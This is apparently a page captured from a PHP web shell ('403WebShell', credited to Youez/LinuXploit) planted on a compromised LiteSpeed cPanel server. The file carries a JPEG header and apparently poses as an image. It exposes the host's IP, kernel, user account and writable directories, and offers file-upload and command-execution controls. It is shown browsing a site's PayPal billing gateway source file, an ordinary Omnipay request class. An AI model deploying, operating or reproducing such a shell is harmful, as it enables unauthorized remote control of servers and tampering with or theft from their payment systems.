����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.220.96.228
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/common/Billing/Gateways/Paypal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/common/Billing/Gateways/Paypal/PaypalSearchInvoicesRequest.php
<?php

namespace Common\Billing\Gateways\Paypal;

use Omnipay\PayPal\Message\AbstractRestRequest;

/**
 * PayPal REST Fetch Plan Request
 *
 * To get details about PayPal plans
 *
 * Example
 *
 * <code>
 *   // Fetch PayPal Plan
 *   $transaction = $this->gateway->fetchPlan([
 *      'planId' => 'P-000000000000000000000000',
 *   ]);
 *   $response = $transaction->send();
 *   $data = $response->getData();
 *   echo "Gateway getPlan response data == " . print_r($data, true) . "\n";
 * </code>
 *
 * @link https://developer.paypal.com/docs/api/payments.billing-plans/#billing-plans_get
 */
class PaypalSearchInvoicesRequest extends AbstractRestRequest
{
    /**
     *
     * Get the plan ID
     *
     * @return string
     */
    public function getPlanId()
    {
        return $this->getParameter('planId');
    }
    /**
     * Set the plan ID
     *
     * @param string $value
     * @return PaypalSearchInvoicesRequest
     */
    public function setPlanId($value)
    {
        return $this->setParameter('planId', $value);
    }

    public function getData()
    {
        $this->validate('planId');
        return array();
    }
    /**
     * Get HTTP Method.
     *
     * The HTTP method for list plans requests must be GET.
     *
     * @return string
     */
    protected function getHttpMethod()
    {
        return 'GET';
    }
    public function getEndpoint()
    {
        return parent::getEndpoint() . '/invoicing/invoices';
    }
}


Youez - 2016 - github.com/yon3zu
LinuXploit